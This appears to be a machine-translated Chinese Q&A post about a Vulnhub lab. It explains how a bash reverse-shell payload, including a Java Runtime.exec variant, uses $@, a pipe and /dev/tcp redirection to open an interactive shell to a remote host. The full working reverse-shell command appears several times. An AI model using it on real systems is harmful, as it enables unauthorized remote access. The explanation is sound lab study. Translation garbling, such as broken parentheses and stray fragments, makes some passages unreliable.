当试图反转shell时,我发现了这个有效载荷
bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1
在https://www.revshells.com/第java。
我理解bash -i >& /dev/tcp/$IP/$PORT 0>&1
,但没能理解bash命令的其余部分的作用。
这是我在Vulnhub上测试过的一个名为Djinn的实验室。我试过其他有效载荷https://revshells.com使用python、nc、php不起作用,但唯一起作用的是上面的bash命令。
这是我的受害者信息
uid=33(www数据(gid=33(www数据(groups=33(www数据(
Linux djinn 4.15.0-66通用
GNU bash,版本4.4.20(1(-发布(x86_64-pc-linux-GNU(
很抱歉,我无法将图片嵌入帖子中。
我的受害者信息:id,os版本,bash版本
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.10/9001 0>&1");
有趣的事实:Runtime.getRuntime().exec
不会扩展$@
,也不会集成>&
。您可以在strace
输出中看到:
$ strace -ff java shell |& grep bash
execve("/usr/bin/bash", ["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "/dev/tcp/10.10.10.10/9001", "0>&1"]...
语法为(参见man bash
(:
bash -c <script_to_run> <assign to $0> <assign to $1> <$2> <$3 so on>...
所以它看起来像:
bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - arguments from $0
^^^^^^^ - script to run
0
被分配给$0
,echo
被分配到$1
,依此类推
然后CCD_ 11执行脚本CCD_。第一个$0
参数从1
扩展到参数列表(请参见man bash
(,因此$@
扩展到echo bash -i >& /dev/tcp/$IP/$PORT 0>&1
(注意:>&
是非解释的,此处为字符串(。
echo bash -i '>&' '/dev/tcp/$IP/$PORT' '0>&1' | bash
然后执行echo ... | bash
,|
是管道,echo
输出bash -i >& /dev/tcp/$IP/$PORT 0>&1
。在|
的右侧,bash
侦听要执行的命令,因此它将执行bash -i >& /dev/tcp/$IP/$PORT 0>&1
,因为这是echo
的输出。
bash -i >& /dev/tcp/$IP/$PORT 0>&1
现在右侧的| bash
将把>& 0>&1
解释为重定向。shell将生成另一个带有-i
参数的bash
,即将生成一个交互式bash shell,其中>&
stderr和stdout重定向到/dev/tcp/$IP/$PORT
,然后0>&1
字符串也连接到/dev/tcp/$IP/$PORT
。/dev/tcp/$IP/$PORT
是一个特殊的(内置?(文件,允许bash从网络位置发送/接收,即从/dev/tcp/$IP/$PORT
写入或读取就像与远程主机通信一样。